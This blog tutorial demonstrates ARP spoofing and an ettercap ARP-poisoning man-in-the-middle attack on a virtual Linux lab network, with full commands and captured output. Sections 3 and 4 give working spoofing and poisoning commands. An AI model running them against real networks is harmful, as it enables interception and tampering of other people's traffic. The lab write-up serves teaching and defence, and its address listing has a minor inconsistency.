ARP Spoofing on a Wired LAN

By Steven Gordon on Wed, 04/09/2013 - 5:21pm

In a wired LAN, hosts typically have direct, point-to-point links to a central switch. A router may also be connected to that switch, acting as a gateway between the LAN hosts and the outside networks, e.g. the Internet. In such a LAN, is it possible for one (malicious) host to view the traffic sent by other hosts to the router (and out to the Internet)? Normally not, because all traffic sent by a host goes to the switch on a dedicated link, and then from switch to router on another dedicated link. Another host, without physical access to either of those dedicated links (or switch or router), cannot intercept other hosts traffic.

However it is possible for a malicious host on the LAN to intercept other hosts traffic, if it can fool the others into thinking the malicious host is in fact the router. In this case, a normal host sends its traffic to the malicious host (thinking it was sending to the router), and then the malicious host can forward the traffic (unaltered or modified, depending on their goal) to the router. This malicious host performs a *man-in-the-middle* (MITM) attack. One way to fool the other hosts into thinking the malicious host is the router is to use an *ARP spoofing* attack.

This article summarises steps to perform ARP spoofing on a simple Linux network (for this demo, a virtual network [3] is used). It assumes some knowledge of LANs and ARP. I don't provide detailed explanations of the steps - you can find many articles explaining ARP spoofing such as by David Morgan [4] in a course at USC, by Steve Gibson [5] from Gibson Research Corporation, from IronGeek [6] and elsewhere. In fact, the following is mainly my own notes created after following the steps by David Morgan.

1. Assumptions

I have 4 Ubuntu Linux computers (running as virtual machines [3]) in the following network configuration:

```
client ---- switch ---- router ---- switch ---- server
              |
              |
             mal
```

The switches are actually a virtual switches provided by VirtualBox. The network interfaces and IP addresses are:

- client `eth1` `192.168.1.1`
- mal `eth1` `192.168.1.66`
- router `eth1` `192.168.1.1`
- router `eth2` `192.168.2.2`
- server `eth1` `192.168.2.20`

Two software packages that are not normally installed on Ubuntu that are used are `arping` and `ettercap`. You can install them by:

```
network@client:~$ sudo apt-get install iputils-arping ettercap-text-only
```

2. Manually Editing the ARP Table

To view the current ARP table on a computer, use **arp** (the **-n** option avoids DNS lookups, so only IP addresses are shown, not domain names):

```
network@client:~$ arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.0.2.2                 ether   52:54:00:12:35:02   C                     eth0
```

On the client I have two LAN interfaces, `eth0` and `eth1`. `eth0` is used for remote access from host to virtual guest. The entry in the ARP table is related to this interface. We will ignore this interface in this article (and for convenience I will not show any information about this interface in output from commands).

Now lets contact the local router, `192.168.1.1`, using `ping`. At the same time, in another terminal I will use `tcpdump` to capture the packets sent. Start `tcpdump` first, telling it to capture on interface `eth1` and display only ARP or ICMP packets (recall `ping` uses ICMP):

```
network@client:~$ sudo tcpdump -n -i eth1 -e 'arp or icmp'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
```

Now in another terminal on the client:

```
network@client:~$ ping -c 3 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_req=1 ttl=64 time=1.84 ms
64 bytes from 192.168.1.1: icmp_req=2 ttl=64 time=0.851 ms
64 bytes from 192.168.1.1: icmp_req=3 ttl=64 time=0.825 ms

--- 192.168.1.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 0.825/1.173/1.845/0.476 ms
```

The ping was successful. However note that the round trip time (RTT) for the first message was about 1 ms larger than the next 2. Why? Because ARP was used before the first ping: the client needed to find the hardware address of `192.168.1.1`. We can see that by looking at the output of `tcpdump`:

```
network@client:~$ sudo tcpdump -n -i eth1 -e 'arp or icmp'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
06:27:35.189219 08:00:27:65:8a:b7 > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length
06:27:35.190254 08:00:27:00:ed:7b > 08:00:27:65:8a:b7, ethertype ARP (0x0806), length
06:27:35.190266 08:00:27:65:8a:b7 > 08:00:27:00:ed:7b, ethertype IPv4 (0x0800), lengtl
06:27:35.191032 08:00:27:00:ed:7b > 08:00:27:65:8a:b7, ethertype IPv4 (0x0800), lengtl
06:27:36.190402 08:00:27:65:8a:b7 > 08:00:27:00:ed:7b, ethertype IPv4 (0x0800), lengtl
06:27:36.191215 08:00:27:00:ed:7b > 08:00:27:65:8a:b7, ethertype IPv4 (0x0800), lengtl
```

```
06:27:37.191538 08:00:27:65:8a:b7 > 08:00:27:00:ed:7b, ethertype IPv4 (0x0800), lengtl
06:27:37.192323 08:00:27:00:ed:7b > 08:00:27:65:8a:b7, ethertype IPv4 (0x0800), lengtl
06:27:40.203729 08:00:27:00:ed:7b > 08:00:27:65:8a:b7, ethertype ARP (0x0806), length
06:27:40.203745 08:00:27:65:8a:b7 > 08:00:27:00:ed:7b, ethertype ARP (0x0806), length
```

Looking in the ARP table we now see the hardware address for `192.168.1.1`:

```
network@client:~$ arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.1.1              ether   08:00:27:00:ed:7b   C                     eth1
```

The ARP table contains hardware addresses of recently contacted devices. After several minutes and no contact, the entry will be automatically removed from the table (and ARP will need to be used again to find the hardware address the next time). You can manually remove entries as well:

```
network@client:~$ sudo arp -d 192.168.1.1
network@client:~$ arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.1.1                      (incomplete)                              eth1
```

The hardware address for `192.168.1.1` is now unknown.

In the above example, I used `ping` to force ARP to be used. However you can also use a specialised tool to do so: `arping`. This triggers an ARP request to be sent for the indicated IP address:

```
network@client:~$ sudo arping -c 1 -I eth1 192.168.1.1
ARPING 192.168.1.1 from 192.168.1.10 eth1
Unicast reply from 192.168.1.1 [08:00:27:00:ED:7B]  1.998ms
Sent 1 probes (1 broadcast(s))
Received 1 response(s)
network@client:~$ arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.1.1              ether   08:00:27:00:ed:7b   C                     eth1
```

Again viewing the packets captured by `tcpdump` we see the ARP request and ARP reply:

```
06:13:25.824269 08:00:27:65:8a:b7 > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length
06:13:25.825584 08:00:27:00:ed:7b > 08:00:27:65:8a:b7, ethertype ARP (0x0806), length
```

3. Advertise a Fake IP Address

Now we want a malicious computer (the host mal in our network) to advertise a fake IP address, so that another computer on the LAN (client in our network) associates this fake IP address with the malicious computers hardware address.

First on the malicious computer we need to tell the operating system to allow applications to bind sockets to non-local IP addresses. In other words, let an application set the source address of a packet to be that which is not an IP address of the computer. In Linux, this feature is

disabled by default. It is the kernel parameter `net.ipv4.ip_nonlocal_bind`. You can see the current value using `sysctl`, and alse set the value - in our case to 1, i.e. enabled.

```
network@mal:~$ sudo sysctl net.ipv4.ip_nonlocal_bind
net.ipv4.ip_nonlocal_bind = 0
network@mal:~$ sudo sysctl net.ipv4.ip_nonlocal_bind=1
net.ipv4.ip_nonlocal_bind = 1
```

The actual IP address of the malicious computer is `192.168.1.66`:

```
network@mal:~$ ifconfig eth1
eth1      Link encap:Ethernet  HWaddr 08:00:27:e5:07:92
          inet addr:192.168.1.66  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fee5:792/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:229 errors:0 dropped:0 overruns:0 frame:0
          TX packets:524 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:24920 (24.9 KB)  TX bytes:41870 (41.8 KB)
```

Now use `arping` to trigger the malicious computer to send an unsolicited ARP request to the client containing the fake IP address `192.168.1.5` and the hardware address of `eth1` on the malicious computer. The fake IP address of `192.168.1.5` was chosen because I know no-one else on the LAN has that IP address.

```
network@mal:~$ sudo arping -c 1 -U -s 192.168.1.5 -I eth1 192.168.1.10
ARPING 192.168.1.10 from 192.168.1.5 eth1
Sent 1 probes (1 broadcast(s))
Received 0 response(s)
```

Returning to the client, lets look at the ARP table:

```
network@client:~$ arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.1.5              ether   08:00:27:e5:07:92   C                     eth1
```

Whenever the client wants to send data to `192.168.1.5`, it will send to hardware address `08:00:27:e5:07:92`, which is the malicious computer. You could test that by getting the client to ping `192.168.1.5` and see whether the malicious computer receives the ICMP message by capturing with `tcpdump`.

4. Man-In-The-Middle Attack: Intercepting Data Between Two Computers

Now we know that a malicious computer can use ARP to pretend to be someone else on the LAN. We can extend this to make the malicious computer pretend to the client that it is the router, and pretend to the router that it is the client. In that way, everything the client sends to router is acutally sent to the malicious computer. And everything the router sends to the client is instead sent to the malicious computer. Then the malicious computer has the option of:

1. Dropping the data received, performing a denial-of-service attack on the client and router.
2. Recording (capturing) the data received and forwarding the data, unmodified, to the intended destination. This is a passive interception attack.
3. Modifying the data and forwarding to the intended destination. This is an active modification attack.

With respect to the packets being sent, the malicious computer is in the middle of the client and router, and hence is performing a *man-in-the-middle attack* (MITM).

Lets see the passive interception attack. We will use `ettercap` to automate all the steps of using ARP to advertise fake IP/hardware address bindings to both client and router, i.e. an ARP MITM attack (the `-M arp` option in `ettercap`).

```
network@mal:~$ sudo ettercap -i eth1 -T -M arp /192.168.1.10/ /192.168.1.1/

ettercap NG-0.7.4.2 copyright 2001-2005 ALoR & NaGA

Listening on eth1... (Ethernet)

  eth1 ->       08:00:27:E5:07:92      192.168.1.66     255.255.255.0

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...

  28 plugins
  41 protocol dissectors
  56 ports monitored
7587 mac vendor fingerprint
1766 tcp OS fingerprint
2183 known services

Scanning for merged targets (2 hosts)...

* |==================================================>| 100.00 %

2 hosts added to the hosts list...

ARP poisoning victims:

 GROUP 1 : 192.168.1.10 08:00:27:65:8A:B7

 GROUP 2 : 192.168.1.1 08:00:27:00:ED:7B
Starting Unified sniffing...


Text only Interface activated...
Hit 'h' for inline help
```

`ettercap` uses ARP to send the wrong hardware address to the victims. As we see below, the client now thinks the hardware address of the router is `08:00:27:e5:07:92` - but that is actually the hardware address of the malicious computer.

```
network@client:~$ arp -n
```

```
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.1.1              ether   08:00:27:e5:07:92   C                     eth1
192.168.1.66             ether   08:00:27:e5:07:92   C                     eth1
```

```
network@router:~$ arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.1.10             ether   08:00:27:e5:07:92   C                     eth1
192.168.1.66             ether   08:00:27:e5:07:92   C                     eth1
```

```
network@mal:~$ arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.1.1              ether   08:00:27:00:ed:7b   C                     eth1
192.168.1.10             ether   08:00:27:65:8a:b7   C                     eth1
```

Now lets get the client to send data to the router. In this case, we will use `ping`. At the same time, on the malicious computer capture packets with `tcpdump`.

```
network@client:~$ ping -c 1 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_req=1 ttl=64 time=2.65 ms

--- 192.168.1.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 2.652/2.652/2.652/0.000 ms
```

We see that the client receives a response when pinging the router (if you captured also on the router you would see the ICMP packets). Now look at what the malicious computer captures:

```
network@mal:~$ sudo tcpdump -n -i eth1 -e 'icmp'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
06:39:12.453156 08:00:27:65:8a:b7 > 08:00:27:e5:07:92, ethertype IPv4 (0x0800), lengtl
06:39:12.453686 08:00:27:e5:07:92 > 08:00:27:00:ed:7b, ethertype IPv4 (0x0800), lengtl
06:39:12.454776 08:00:27:00:ed:7b > 08:00:27:e5:07:92, ethertype IPv4 (0x0800), lengtl
06:39:12.455045 08:00:27:e5:07:92 > 08:00:27:65:8a:b7, ethertype IPv4 (0x0800), lengtl
```

The malicious computer captures the ICMP echo request sent by the client to router. In fact we see the request sent from client to malicious computer, and then the malicious computer sending the same request to the router. The malicious computers obtains a copy of all data sent between client and router without the client or router knowing.

`ettercap` is a powerful program that can perform other types of MITM attacks, including on HTTPS sessions. Explore `ettercap`, `arping` and similar programs to understand security attacks so you can enhance the security of networks and applications that you build in the future.

Content: Howto [7]
Interest: Networking [8]

Source URL: http://sandilands.info/sgordon/arp-spoofing-on-wired-lan

Links:
[1] http://sandilands.info/sgordon/arp-spoofing-on-wired-lan
[2] http://sandilands.info/sgordon/user/2
[3] http://sandilands.info/sgordon/creating-a-virtual-network-of-linux-guests-using-virtualbox
[4] http://www-scf.usc.edu/~csci530l/instructions/lab-deter-arpspoof-instructions.htm
[5] https://www.grc.com/nat/arp.htm
[6] http://www.irongeek.com/i.php?page=security/arpspoof
[7] http://sandilands.info/sgordon/taxonomy/term/212
[8] http://sandilands.info/sgordon/taxonomy/term/168